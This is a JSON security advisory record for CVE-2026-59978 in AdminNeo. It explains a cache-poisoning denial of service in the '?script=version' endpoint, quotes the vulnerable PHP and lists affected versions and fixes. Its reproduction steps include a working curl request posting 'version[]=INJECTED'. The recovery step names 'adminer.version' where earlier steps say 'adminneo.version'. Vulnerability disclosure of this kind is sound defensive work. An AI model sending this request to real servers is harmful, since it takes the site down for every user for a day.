{"id":"GHSA-jm85-8cpp-9cjc","aliases":["CVE-2026-59978"],"title":"AdminNeo: version-cache array injection causes persistent denial of service","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\nAdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.\n\nOriginally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\nAlthough the version checking process was modified in AdminNeo, the root cause persisted.\n\n### Workaround\nIf you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n#### 1. Intended design of `?script=version`\nThe endpoint is designed to receive version data from GitHub via browser JavaScript.\n- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.\n- JavaScript POSTs version number to `?script=version`.\n- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.\n\n```js\n// function.js lines 119-120\nconst data = 'version=' + version + '&token=' + token;\najax(baseUrl + 'script=version', null, data);\n```\n\n#### 2. The vulnerability\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (CSRF token is present, but not checked for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php lines 44-53\nif ($_GET[\"script\"] == \"version\") {\n\t$filename = get_temp_dir() . \"/adminneo.version\";\n\t@unlink($filename); // It may not be writable by us, @ - it may not exist.\n\n\t$file = open_file_with_lock($filename);\n\tif ($file) {\n\t\twrite_and_unlock_file($file, serialize([\"version\" => $_POST[\"version\"]]));\n\t}\n\texit;\n}\n```\n\n#### 3. Type confusion crash\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:\n\n```php\n// design.inc.php line 40\ncookie(\"neo_version\", $data[\"version\"], $lifetime); // Sync expiration with the file.\n\n// functions.inc.php lines 398-405\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nPHP 8.x throws:\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n### Steps to Reproduce\n\n(Example URL is for the official AdminNeo Docker image.)\n\n**Step 1:** Verify AdminNeo is running and accessible.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n\n```sh\ncurl -X POST \"http://localhost:8080?script=version\" -d \"version[]=INJECTED\"\n```\n\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n\n```sh\ncat /tmp/adminneo.version\n```\n\nExpected output:\n\n```\na:1:{s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n\n```sh\nrm /tmp/adminer.version\n```\n\nAfter deletion, AdminNeo returns HTTP 200.\n\n<hr>\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.\n\n**Affected users:** Any AdminNeo instance accessible over the network.","severity":"high","score":7.5,"published":"2026-10-30T18:53:04.957Z","modified":"2026-10-30T19:50:24.134Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","sources":[{"name":"OSV · GHSA-jm85-8cpp-9cjc","url":"https://osv.dev/vulnerability/GHSA-jm85-8cpp-9cjc"}],"ranges":[{"events":[{"introduced":"4.6.2"},{"fixed":"5.5.0"}],"type":"ECOSYSTEM"}],"versions":["v4.10.0","v4.11.0","v4.12.0","v4.13.0","v4.14.0","v4.15.0","v4.16.0","v4.16.1","v4.17.0","v4.17.1","v4.17.2","v4.6.2","v4.6.3","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.7.9","v4.8.0","v4.8.1","v4.8.2","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v5.0.0","v5.0.0-rc","v5.1.0","v5.1.1","v5.2.0","v5.2.1","v5.3.0","v5.4.0","v5.4.1"],"fixed":["5.5.0"]}],"sourceAffected":[],"references":["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc","https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907","https://github.com/adminneo-org/adminneo","https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0"],"sources":[{"name":"OSV","id":"GHSA-jm85-8cpp-9cjc","modified":"2026-10-30T19:00:04.120901562Z","url":"https://osv.dev/vulnerability/GHSA-jm85-8cpp-9cjc"},{"name":"CVE","id":"CVE-2026-59978","modified":"2026-10-30T19:50:24.134Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-59978"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},{"source":"GitHub_M","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}],"cve":{"records":[{"id":"CVE-2026-59978","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-07-07T19:41:00.004Z","published":"2026-10-30T18:53:04.957Z","modified":"2026-10-30T19:50:24.134Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-10-30T18:53:04.957Z"},{"name":"CISA-ADP","role":"ADP","organizationId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","modified":"2026-10-30T19:50:24.134Z"}],"references":[{"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0","tags":["x_refsource_MISC"],"source":"GitHub_M"}],"weaknesses":[{"id":"CWE-20","description":"CWE-20: Improper Input Validation","source":"GitHub_M"}],"applicability":[],"prioritization":[{"source":"CISA-ADP","type":"SSVC","role":"CISA Coordinator","timestamp":"2026-10-30T19:47:01.562162Z","decisions":[{"name":"Exploitation","value":"poc"},{"name":"Automatable","value":"yes"},{"name":"Technical Impact","value":"partial"}]}]},"products":[{"vendor":"adminneo-org","name":"adminneo","platforms":[],"versions":[{"version":">= 4.6.2, < 5.5.0","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-59978"}],"remediation":[],"observedAt":"2026-10-30T21:09:10.385Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T06:30:31.757Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[],"aiSummary":null}